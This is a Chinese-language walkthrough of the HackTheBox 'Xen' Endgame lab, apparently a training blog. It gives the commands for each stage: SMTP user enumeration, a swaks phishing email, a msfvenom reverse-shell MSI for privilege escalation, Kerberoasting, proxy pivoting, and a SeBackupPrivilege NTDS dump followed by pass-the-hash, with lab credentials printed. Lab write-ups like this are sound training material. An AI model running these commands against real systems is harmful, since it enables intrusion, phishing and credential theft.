HTB-Endgames-Xen
HackTheBox:Endgame-Xen
前言
Xen需要htb的VIP才能访问的,我这里建议是直接开VIP+,因为有时候我们需要用到Pwnbox。我这里采用kali+Pwnbox的攻击方式。
由于参考了大量的文章,无法一一列举,我这里对师傅们说声抱歉。
Breach
nmap扫描入口ip

80、443端口开放,先访问一下
访问10.13.38.12跳转为humongousretail.com,在hosts添加映射域名信息,重新访问。

浏览一圈humongousretail.com,没啥信息开始目录爆破
1 | gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://humongousretail.com/ -k |

访问https://humongousretail.com/remote/跳转到citrix登录页面

尝试过常用的弱口令后还是无法登录,只能把思路转到别处,根据nmap扫描结果,还有个smtp服务没测试
smtp服务,只能用来伪造邮箱钓鱼或者爆破邮箱账号,除此之位无非就是smtp账号信息泄露,所以我采用伪造邮箱钓鱼,但是没有邮箱怎么办,那就先爆破获取账号。
1 | smtp-user-enum -M RCPT -D humongousretail.com -t 10.13.38.12 -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -m 50 |

获取完邮箱后使用swaks发送钓鱼邮箱,用nc接收返回的信息
1 | swaks --to SALES@humongousretail.com --from it@humongousretail.com --header "citrix error" --body "<a href="http://10.10.16.118">citrix error</a>" --server 10.13.38.12 -p 25 |

钓到三个账号
awardel
pmorgan
jmendes
现在我们获取到的信息,可以让我们登录
citrix Xen app登录后台后,使用
ICAClient打开launch.ica,ICAClient需要去citrix官方下载,如果遇到一打开launch.ica就提示文件不见的,可以尝试把文件的RemoveICAFile设置为no。进入
Windows使用快捷键创建cmd.exe

Deploy
使用命令检测发现目标存在AlwaysInstallElevated

使用metasploit创建msi进行提权,我这里建议把提权的shell转到pwnbox上,不然网络会很卡。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f msi LHOST=10.10.10.10 LPORT=1234 > me.msi |

使用Invoke-Kerberoast.ps1抓取TGS,将抓取下来的hash进行爆破获取明文密码,mturner为用户账号
1 | hashcat -m 13100 -a 0 ./hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule --force |

使用脚本扫描内网信息

Ghost
现在使用Metasploit设置代理
1 | run autoroute -s 172.16.249.0/24 |

使用crackmapexec枚举目标smb目录情况
1 | proxychains crackmapexec smb 172.16.249.201 -u mturner -p "4install!" --sam |

使用smbclient连接目标SMB
- 如果使用
smbclient出现protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED - 进入
/etc/samba/smb.conf在[global]添加下面命令 client min protocol = COREclient max protocol = SMB3
1 | proxychains smbclient \\\\172.16.249.201\\Citrix$ -U htb.local\\mturner |
进入目标后发现flag和private.ppk,直接get 下载下来

Camouflage
把private.ppk转成john可以爆破的格式,然后使用kwp生成字典,最后开始爆破
1 | putty2john private.ppk > private.txt |

将private.ppk转成id_rsa格式
1 | puttygen private.ppk -O private-openssh -o id_rsa |

在尝试登录时,发现常用的账号都无法登录,还显示不是允许登录用户,在citrix产品文档查到他们使用的用户名是nsroot,同时还看到只要使用shell切换到shell模式

登录目录后发现有两个文件capture.cap、capture.pcap使用scp下载
scp有个奇葩的地方,就是使用密钥,登录时要把密钥放到第一位置,不然提示id_rsa: Not a directory
1 | proxychains scp -i id_rsa nsroot@172.16.249.202:/root/capture.pcap /home/htb-backk/Desktop |
使用wireshark打开下载的文件,这里面有flag,除了flag还有一个密码在这里面

Doppelgänger
得到域密码后开始进攻域控
使用之前获取到的账号都无法登录,这里使用域账号进行爆破,域账号在前面的主机上使用net user /domain即可获取

我这里使用Metasploit 的smb_login进行爆破

使用evil-winrm登录DC
1 | evil-winrm -u backup-svc -p '#S3rvice#@cc' -i 172.16.249.200 |

Owned
使用whoami /priv命令检测发现域控存在SeBackupPrivilege,我们可以利用来提权
SeBackupPrivilege提权的方法有两种,我这里只用第一种,这里推荐大家看hackingarticles.in的文章

在kali上创建ling.dsh文件
1 | set context persistent nowriters |

上传到目标,使用evil-winrm上传时,建议到文件所在目录上传
1 | cd C:\Temp\ling |


完成了ntds部分,现在继续完成另一部分
1 | reg save hklm\system c:\Temp\ling\system |



将下载下来都文件使用impacket-secretsdump 进行读取hash值
1 | impacket-secretsdump -ntds ntds.dit -system system local |

最后使用evil-winrm登录
1 | evil-winrm -u Administrator -H 822601ccd7155f47cd955b94af1558be -i 172.16.249.200 |
